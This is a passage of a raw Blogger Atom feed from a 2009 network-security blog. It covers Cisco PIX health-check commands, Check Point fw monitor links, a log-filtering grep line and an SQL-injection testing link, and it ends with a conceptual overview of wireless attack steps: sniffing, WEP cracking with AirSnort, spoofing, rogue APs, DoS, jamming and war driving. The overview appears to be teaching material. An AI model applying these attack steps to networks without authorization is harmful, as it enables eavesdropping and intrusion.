href='http://penetrationengineer.blogspot.com/feeds/4924501606712289680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=4924501606712289680' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4924501606712289680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/4924501606712289680'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/03/checkpoint-firewall-ipso-standard.html' title='Checkpoint Firewall - IPSO Standard Health Check'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-5415530357736137581</id><published>2009-03-27T18:30:00.000-07:00</published><updated>2009-03-27T18:31:19.925-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='checkpoint'/><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><title type='text'>Checkpoint Firewall - Fw Monitor</title><content type='html'>[PDF] &lt;br /&gt;How to use fw monitor&lt;br /&gt;http://www.checkpoint.com/techsupport/downloads/html/ethereal/fw_monitor_rev1_01.pdf&lt;br /&gt;&lt;br /&gt;[DOC] &lt;br /&gt;FW MONITOR&lt;br /&gt;www.cpug.org/check_point_resources/FW%20MONITOR_expert.doc&lt;br /&gt;&lt;br /&gt;[PDF] &lt;br /&gt;Fw Monitor&lt;br /&gt;www.nokia.com/NOKIA_COM_1/About_Nokia/Press/White_Papers/pdf_files/technicalwhitepaper_fwmonitoring.pdf&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-5415530357736137581?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/5415530357736137581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=5415530357736137581' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/5415530357736137581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/5415530357736137581'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/03/checkpoint-firewall-fw-monitor.html' title='Checkpoint Firewall - Fw Monitor'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-7385745382677918680</id><published>2009-03-27T03:12:00.000-07:00</published><updated>2009-04-21T00:50:15.657-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='pix'/><title type='text'>grep pix log</title><content type='html'>&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;cat pix.log | grep "Sep 26 20:" | grep -v Teardown | grep -v Built| grep -v Deny | grep -v Accessed| grep -v access-list | grep -v Inbound | grep -v Deny | grep -v Accessed| grep -v access-list | grep "PIX-1-"&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-7385745382677918680?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/7385745382677918680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=7385745382677918680' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/7385745382677918680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/7385745382677918680'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/03/grep-pix-log.html' title='grep pix log'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-2309436813265519913</id><published>2009-03-26T19:13:00.000-07:00</published><updated>2009-04-21T00:53:32.907-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='pix'/><title type='text'>Cisco Pix Firewall - Standard Health Check</title><content type='html'>1.&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;sh fail&lt;br /&gt;&lt;/pre&gt;- untuk cek yg mana primary atau secondary yg tengah active atau standby&lt;br /&gt;- bila tarikh last failover&lt;br /&gt;- cek status sume fw interface&lt;br /&gt;&lt;br /&gt;2.&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;sh conn count&lt;br /&gt;&lt;/pre&gt;- cek bape byk bilangan connection, kalau banyak betulla tu fw tengah pass traffic&lt;br /&gt;&lt;br /&gt;3. &lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;sh conn&lt;/pre&gt;- nak tengok connection&lt;br /&gt;&lt;br /&gt;4. &lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;sh mem&lt;/pre&gt;- cek fw memory &lt;br /&gt;&lt;br /&gt;5. &lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;sh cpu usage&lt;/pre&gt;- cek fw cpu utilization&lt;br /&gt;&lt;br /&gt;6. &lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;sh int&lt;/pre&gt;- cek sume interface kat fw&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-2309436813265519913?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/2309436813265519913/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=2309436813265519913' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2309436813265519913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2309436813265519913'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/03/cisco-pix-firewall-standard-health.html' title='Cisco Pix Firewall - Standard Health Check'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-472602931963757441</id><published>2009-03-07T19:57:00.000-08:00</published><updated>2009-03-07T20:00:32.308-08:00</updated><title type='text'>Vulnerability Assessment for SQL Injection</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_AamnZyf3C_A/SbNCeS2VC5I/AAAAAAAAAM4/13QRq-NPGmQ/s1600-h/SQL_Injection_assess_vulnerability.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 279px; height: 320px;" src="http://4.bp.blogspot.com/_AamnZyf3C_A/SbNCeS2VC5I/AAAAAAAAAM4/13QRq-NPGmQ/s320/SQL_Injection_assess_vulnerability.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5310661473823165330" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.zubrag.com/tools/sql-injection-test.php" target="_blank"&gt;Online Tools - SQL Injection&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-472602931963757441?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/472602931963757441/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=472602931963757441' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/472602931963757441'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/472602931963757441'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/03/vulnerability-assessment-for-sql.html' title='Vulnerability Assessment for SQL Injection'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_AamnZyf3C_A/SbNCeS2VC5I/AAAAAAAAAM4/13QRq-NPGmQ/s72-c/SQL_Injection_assess_vulnerability.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-8670026060039815164</id><published>2009-02-14T21:10:00.000-08:00</published><updated>2009-04-18T09:43:30.612-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='IWD 2243'/><title type='text'></title><content type='html'>One of my student just copy paste everything from here for their wireless assignment.. got u! :P&lt;br /&gt;&lt;br /&gt;&lt;a href="http://technet.microsoft.com/en-us/library/bb457019.aspx" target="_blank"&gt;http://technet.microsoft.com/en-us/library/bb457019.aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-8670026060039815164?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/8670026060039815164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=8670026060039815164' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8670026060039815164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8670026060039815164'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/02/one-of-my-student-just-copy-paste.html' title=''/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-1931720510783622233</id><published>2009-02-14T17:24:00.000-08:00</published><updated>2009-02-14T17:25:33.379-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><title type='text'>2.4GHz vs. 5GHz Deployment Considerations</title><content type='html'>When deploying a wireless LAN, companies must make a decision on whether to use network interface cards (NICs) and access points designed to operate in the 2.4GHz or 5GHz band (or both). Not too long ago the choice of frequency band was easy, when only 2.4GHz (i.e., 802.11b) products were available. Now, 802.11b and 802.11g products are both available that operate in the 2.4GHz band, while 802.11a use the 5GHz band. This can cause confusion when designing a WLAN, so let's take a look at what you need to consider when making this critical resolution.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wi-fiplanet.com/tutorials/article.php/1569271"&gt;http://www.wi-fiplanet.com/tutorials/article.php/1569271&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-1931720510783622233?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/1931720510783622233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=1931720510783622233' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/1931720510783622233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/1931720510783622233'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/02/24ghz-vs-5ghz-deployment-considerations.html' title='2.4GHz vs. 5GHz Deployment Considerations'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-917099923882505768</id><published>2009-02-08T20:19:00.000-08:00</published><updated>2009-02-08T20:22:36.392-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless security'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='IWD 2243'/><title type='text'>Wireless threats, vulnerabilities and solution</title><content type='html'>&lt;p class="MsoNormal" align="center" style="mso-margin-top-alt:auto;mso-margin-bottom-alt: auto;text-align:center;mso-outline-level:3;background:#DAE6FF"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="margin-top:0cm;margin-right:0cm;margin-bottom:12.0pt; margin-left:0cm"&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Wireless networks broadcast their packets using radio frequency or optical wavelengths. A modern &lt;/span&gt;&lt;a href="file:///D:/Documents%20and%20Settings/qz0rpn/My%20Documents/Wireless%20Hacking.html#%23" target="undefined"&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;laptop computer&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; can listen in. Worse, an attacker can manufacture new packets on the fly and persuade &lt;/span&gt;&lt;a href="file:///D:/Documents%20and%20Settings/qz0rpn/My%20Documents/Wireless%20Hacking.html#%23" target="undefined"&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;wireless&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; stations to accept his packets as legitimate.&lt;br /&gt;The step by step procerdure in wireless hacking can be explained with help of different topics as follows:-&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;1) Stations and Access Points :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; A wireless network interface card (adapter) is a device, called a station, providing the &lt;/span&gt;&lt;a href="file:///D:/Documents%20and%20Settings/qz0rpn/My%20Documents/Wireless%20Hacking.html#%23" target="undefined"&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;network&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; physical layer over a radio link to another station.&lt;br /&gt;An access point (AP) is a station that provides frame distribution service to stations associated with it. &lt;br /&gt;The AP itself is typically connected by wire to a LAN. Each AP has a 0 to 32 byte long Service Set Identifier (SSID) that is also commonly called a network name. The SSID is used to segment the airwaves for usage.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;2) Channels :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; The stations communicate with each other using radio frequencies between 2.4 GHz and 2.5 GHz. Neighboring channels are only 5 MHz apart. Two wireless networks using neighboring channels may interfere with each other.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;3) Wired Equivalent Privacy (WEP) :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; It is a shared-secret key encryption system used to encrypt packets transmitted between a station and an AP. The WEP algorithm is intended to protect wireless communication from eavesdropping. A secondary function of WEP is to prevent unauthorized access to a wireless network. WEP encrypts the payload of data packets. Management and control frames are always transmitted in the clear. WEP uses the RC4 encryption algorithm.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;4) Wireless Network Sniffing :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Sniffing is eavesdropping on the network. A (packet) sniffer is a program that intercepts and decodes network traffic broadcast through a medium. It is easier to sniff wireless networks than wired ones. Sniffing can also help find the easy kill as in scanning for open access points that allow anyone to connect, or capturing the passwords used in a connection session that does not even use WEP, or in telnet, rlogin and ftp connections.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;5 ) Passive Scanning :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Scanning is the act of sniffing by tuning to various radio channels of the devices. A passive network &lt;/span&gt;&lt;a href="file:///D:/Documents%20and%20Settings/qz0rpn/My%20Documents/Wireless%20Hacking.html#%23" target="undefined"&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;scanner&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; instructs the wireless card to listen to each channel for a few messages. This does not reveal the presence of the scanner. An attacker can passively scan without transmitting at all. &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;6) Detection of SSID :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; The attacker can discover the SSID of a network usually by passive scanning because the SSID occurs in the following frame types: Beacon, Probe Requests, Probe Responses, Association Requests, and Reassociation Requests. Recall that management frames are always in the clear, even when WEP is enabled.&lt;br /&gt;When the above methods fail, SSID discovery is done by active scanning &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;7) Collecting the MAC Addresses :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; The attacker gathers legitimate MAC addresses for use later in constructing spoofed frames. The source and destination MAC addresses are always in the clear in all the frames.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;8) Collecting the Frames for Cracking WEP :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning: 0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; The goal of an attacker is to discover the WEP shared-secret key. The attacker sniffs a large number of frames An example of a WEP cracking tool is AirSnort ( http://airsnort.shmoo.com ).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;9) Detection of the Sniffers :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Detecting the presence of a wireless sniffer, who remains radio-silent, through network security measures is virtually impossible. Once the attacker begins probing (i.e., by injecting packets), the presence and the coordinates of the &lt;/span&gt;&lt;a href="file:///D:/Documents%20and%20Settings/qz0rpn/My%20Documents/Wireless%20Hacking.html#%23" target="undefined"&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;wireless device&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; can be detected.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;10) Wireless Spoofing :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; There are well-known attack techniques known as spoofing in both wired and wireless networks. The attacker constructs frames by filling selected fields that contain addresses or identifiers with legitimate looking but non-existent values, or with values that belong to others. The attacker would have collected these legitimate values through sniffing.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;11) MAC Address Spoofing :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; The attacker generally desires to be hidden. But the probing activity injects frames that are observable by &lt;/span&gt;&lt;a href="file:///D:/Documents%20and%20Settings/qz0rpn/My%20Documents/Wireless%20Hacking.html#%23" target="undefined"&gt;&lt;span&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;system administrators&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;. The attacker fills the Sender MAC Address field of the injected frames with a spoofed value so that his equipment is not identified.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;12) IP spoofing :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Replacing the true IP address of the sender (or, in rare cases, the destination) with a different address is known as IP spoofing. This is a necessary operation in many attacks.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;13) Frame Spoofing :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; The attacker will inject frames that are valid but whose content is carefully spoofed.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;&lt;br /&gt;14) Wireless Network Probing :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning: 0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; The attacker then sends artificially constructed packets to a target that trigger useful responses. This activity is known as probing or active scanning.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;&lt;br /&gt;15) AP Weaknesses :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; APs have weaknesses that are both due to design mistakes and user interfaces&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;16) Trojan AP :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; An attacker sets up an AP so that the targeted station receives a stronger signal from it than what it receives from a legitimate AP.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;17) Denial of Service :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; A denial of service (DoS) occurs when a system is not providing services to authorized clients because of resource exhaustion by unauthorized clients. In wireless networks, DoS attacks are difficult to prevent, difficult to stop. An on-going attack and the victim and its clients may not even detect the attacks. The duration of such DoS may range from milliseconds to hours. A DoS attack against an individual station enables session hijacking.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;18) Jamming the Air Waves :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; A number of consumer appliances such as microwave ovens, baby monitors, and cordless phones operate on the unregulated 2.4GHz radio frequency. An attacker can unleash large amounts of noise using these devices and jam the airwaves so that the signal to noise drops so low, that the wireless LAN ceases to function.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;19) War Driving :-&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Equipped with wireless devices and related tools, and driving around in a vehicle or parking at interesting places with a goal of discovering easy-to-get-into wireless networks is known as war driving. War-drivers (http://www.wardrive.net) define war driving as “The benign act of locating and logging wireless access points while in motion.” This benign act is of course useful to the attackers. &lt;br /&gt;Regardless of the protocols, wireless networks will remain potentially insecure because an attacker can listen in without gaining physical access.&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div align="center"&gt;  &lt;table class="MsoNormalTable" border="0" cellpadding="0" width="100%" style="width:100.0%;mso-cellspacing:1.5pt"&gt;  &lt;tbody&gt;&lt;tr 